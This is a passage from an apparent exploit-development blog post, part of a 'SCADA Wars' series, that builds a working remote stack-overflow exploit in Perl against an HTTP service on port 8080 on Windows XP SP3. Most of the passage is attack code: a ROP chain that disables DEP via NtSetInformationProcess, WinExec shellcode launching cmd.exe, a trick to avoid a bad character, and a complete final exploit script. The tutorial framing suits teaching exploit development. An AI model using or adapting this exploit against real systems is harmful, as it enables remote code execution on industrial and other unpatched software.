$exploit .= "\x8b\xec\x68\x65\x78\x65\x20\x68\x63\x6d\x64\x2e\x8d\x45\xf8\x50\xb8\x8d\x15\x86\x7c\xff\xd0";
$exploit .= "A"x(424-23);
$exploit .= pack('V', 0x02cdfb4c); # Readable pointer (Pointer to new EIP)
$exploit .= pack('V', 0x02cdfa14); # Writable pointer (Overwritten ret addr)
$exploit .= "A"x104;
$exploit .= "\\a HTTP/1.0\r\n\r\n";
print $sock $exploit;
So are we finished? God, no.
We need to do a little refactoring of this shellcode before we can use it. The hardcoded WinExec address it uses is not correct for XP SP3, so we first need to update it with the correct address 0x7c86250d:
\x8b\xec\x68\x65\x78\x65\x20\x68\x63\x6d\x64\x2e\x8d\x45\xf8\x50\xb8\x0d\x25\x86\x7c\xff\xd0
However, this presents another problem. The true WinExec address has the bad char 0x25 in its address, and it doesn’t seem immediately feasible to jump to a nearby address without the offending byte due to the RET:

So let’s tack on a couple more bytes to our shellcode. Instead of directly MOVing &WinExec to EAX, we can be tricky and MOV the two’s complement of the function pointer and NEG (negate) it. The disassembly of our new shellcode will look like this:
02CDFA7C 8BEC MOV EBP,ESP
02CDFA7E 68 65786520 PUSH 20657865
02CDFA83 68 636D642E PUSH 2E646D63
02CDFA88 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8]
02CDFA8B 50 PUSH EAX
02CDFA8C B8 F3DA7983 MOV EAX,8379DAF3
02CDFA91 F7D8 NEG EAX
02CDFA93 FFD0 CALL EAX
This is our final exploit:
#!/usr/bin/perl
use IO::Socket;
if ( @ARGV < 1 ) {
print "Usage: $0 ";
}
$sock = new IO::Socket::INET(
PeerAddr => $ARGV[0],
PeerPort => 8080,
);
$exploit = "";
$exploit .= "GET /";
$exploit .= "A"; # For alignment purposes
$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0x77dd1404); # * &NtSetInformationProcess
$exploit .= pack('V', 0x77dfd448); # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN 04
$exploit .= pack('V', 0xffffffff); # (EBP)
$exploit .= pack('V', 0x77e18a5f); # INC EBP # RETN (set EBP to 0)
$exploit .= pack('V', 0x41414141); # junk (compensate)
$exploit .= pack('V', 0x77e01143); # XOR EBP,EAX # RETN
$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0xffffffde); # -> 0x22 -> EDX
$exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN
$exploit .= pack('V', 0x7ca6f081); # XCHG EAX,EBX # RETN
$exploit .= pack('V', 0x77de97ac); # MOV EDX,EBX # POP ESI # POP EBX # RETN 10
$exploit .= pack('V', 0x77e3cb79); # RETN -> ESI
$exploit .= pack('V', 0xffffffff); # -> EBX
$exploit .= pack('V', 0x77ddbf44); # POP ECX # RETN
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x77e4b1fc); # ptr to 0x02
$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0xfffffffc); # -> 0x4
$exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN
$exploit .= pack('V', 0x77e3cb78); # POP EDI # RETN
$exploit .= pack('V', 0x77e3cb79); # RETN
$exploit .= pack('V', 0x77de75ed); # PUSHAD # DEC EBX # MOV EBX,33C233F6 # RETN
$exploit .= "\x8b\xec\x68\x65\x78\x65\x20\x68\x63\x6d\x64\x2e\x8d\x45\xf8\x50\xb8\xf3\xda\x79\x83\xf7\xd8\xff\xd0";
$exploit .= "A"x(424-25);
$exploit .= pack('V', 0x02cdfb4c); # Readable pointer (Pointer to new EIP)
$exploit .= pack('V', 0x02cdfa14); # Writable pointer (Overwritten ret addr)
$exploit .= "A"x104;
$exploit .= "\\a HTTP/1.0\r\n\r\n";
print $sock $exploit;
And let ‘er rip:

Obviously we’re only able to spawn a shell locally (on the remote system), but the techniques necessary to write the appropriate network-capable shellcode without using any of our nine bad chars with size considerations may be better suited for a separate post. Or we could just use a stager.
SCADA Wars Episode 3 – Revenge of ASLR
A (hopeful) part three will discuss the implications of ASLR in the target environment, disallowing the use of hardcoded addresses in our exploit.